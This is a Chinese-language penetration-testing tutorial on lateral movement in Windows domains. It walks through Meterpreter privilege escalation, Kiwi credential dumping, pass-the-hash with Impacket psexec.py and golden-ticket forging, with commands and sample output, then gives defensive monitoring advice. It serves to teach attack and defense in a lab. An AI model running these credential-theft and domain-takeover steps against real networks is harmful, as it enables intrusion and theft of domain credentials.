第12章 第114课
横向移动实战指南:从域渗透到权限传递
大家好,今天我们来聊聊内网渗透中最关键的阶段——横向移动。很多同学在CTF比赛或者企业渗透测试中,经常遇到"拿下一台机器但不知道怎么扩大战果"的情况,这篇教程就用最接地气的方式带你理解这个核心技能 ( ̄ω ̄;)
1. 横向移动:内网渗透的"连锁反应"
(1) 什么是横向移动?
想象你成功潜入学校机房的一台电脑(比如通过钓鱼邮件)。横向移动就是:
- 从这台电脑跳到老师的主机(获取更敏感资料)
- 再跳到教务处的服务器(拿到数据库权限)
- 最终控制整个校园网的核心设备
类比大学生活:
就像你知道了宿舍Wi-Fi密码后,尝试用相同密码登录图书馆电脑(如果管理员偷懒用了统一密码...)
(2) 两种主要方式
1. **漏洞利用**:比如用MS17-010攻击未打补丁的机器(动静大)
2. **凭证传递**:用密码哈希或Kerberos票据悄悄移动(更隐蔽)
2. 实验环境搭建:模拟企业单域
(1) 基础配置
假设我们有以下环境:
- 域控(DC):Windows Server 2016 (192.168.1.1)
- 成员机(Win10):普通办公电脑 (192.168.1.100)
- 攻击机(Kali):192.168.1.50
关键步骤:
# 在域控上创建测试用户
New-ADUser -Name "IT_Admin" -AccountPassword (ConvertTo-SecureString "P@ssw0rd123!" -AsPlainText -Force) -Enabled $true
Add-ADGroupMember -Identity "Domain Admins" -Members "IT_Admin"
常见问题:
如果遇到"密码不符合复杂性要求",可以改用P@ssw0rd123!这类符合策略的密码 ( ̄▽ ̄*)ゞ
3. Kiwi实战:获取哈希的"瑞士军刀"
(1) 提升到SYSTEM权限
# 在已获得的Meterpreter会话中
meterpreter > getsystem
[*] Trying technique 1 (Named Pipe Impersonation)...
[+] Successfully gained SYSTEM privileges
(2) 加载Kiwi模块
meterpreter > load kiwi
Loading extension kiwi...
[+] Successfully loaded Kiwi extension
# 获取明文密码(需启用WDigest)
meterpreter > creds_all
[+] Running as SYSTEM
[*] Retrieving all credentials
Authentication Id: 999
Username: IT_Admin
Domain: CORP
Password: P@ssw0rd123!
现实场景:
如果企业没打KB2871997补丁,连域管密码都能抓到明文...(很多老旧系统真的存在这问题)
4. 哈希传递(PTH):内网的"万能钥匙"
(1) 基本原理
当域内多台机器使用相同管理员密码时:
1. 从A机器获取NTLM哈希:a9f2f87bc3...
2. 用该哈希直接登录B机器,无需知道明文密码
(2) 实战操作
# 使用Impacket工具包中的psexec.py
python3 psexec.py CORP/IT_Admin@192.168.1.101 -hashes aad3b435b51404eeaad3b435b51404ee:a9f2f87bc3...
# 如果成功,会直接获得目标机器的SYSTEM权限shell
C:\Windows\system32> whoami
nt authority\system
防御检测:
监控事件ID 4624(登录事件)中的"登录类型=3"(网络登录)
5. 票据传递(PTT):更隐蔽的移动方式
(1) 黄金票据攻击
# 首先获取域控的krbtgt哈希
meterpreter > dcsync_ntlm CORP\\krbtgt
# 生成黄金票据
python3 ticketer.py -nthash a9f2f87bc3... -domain-sid S-1-5-21-... -domain CORP.LOCAL admin
# 注入当前会话
export KRB5CCNAME=/tmp/admin.ccache
python3 psexec.py CORP/admin@DC01 -k -no-pass
适用场景:
即使域管改了密码,黄金票据依然有效(有效期通常10年...)
6. 防御与检测建议
(1) 企业防护措施
1. **限制本地管理员权限**:不要在所有机器使用相同管理员密码
2. **启用LSA保护**:防止Mimikatz等工具读取内存凭据
3. **监控异常登录**:如非工作时间段的域管理员登录
(2) 检测命令示例
# 查看最近10次域管理员登录
Get-WinEvent -FilterHashtable @{
LogName='Security'
ID=4624
Data='Domain Admins'
} -MaxEvents 10 | Select-Object TimeCreated,Message
7. 实战思维导图
graph TD
A[初始立足点] --> B{是否在域?}
B -->|是| C[获取本地哈希]
C --> D[尝试PTH攻击]
D --> E{是否域管?}
E -->|否| F[收集更多凭证]
E -->|是| G[拿下域控]
B -->|否| H[本地提权]
最后提醒:
- 在授权范围内测试
- 哈希传递前先做好拓扑分析
- 企业内网比CTF复杂得多,要有耐心 (╯°□°)╯︵ ┻━┻
下次我们聊聊如何绕过现代EDR检测,有兴趣的同学可以留言讨论~
感谢浏览和学习,作者:鱼油YOU,转载请注明原文链接:https://www.cnblogs.com/OmegaYOU3/p/19028187,或者可以➕主播WX:OmegaAnimeman_desu;QQ:3819054512
浙公网安备 33010602011771号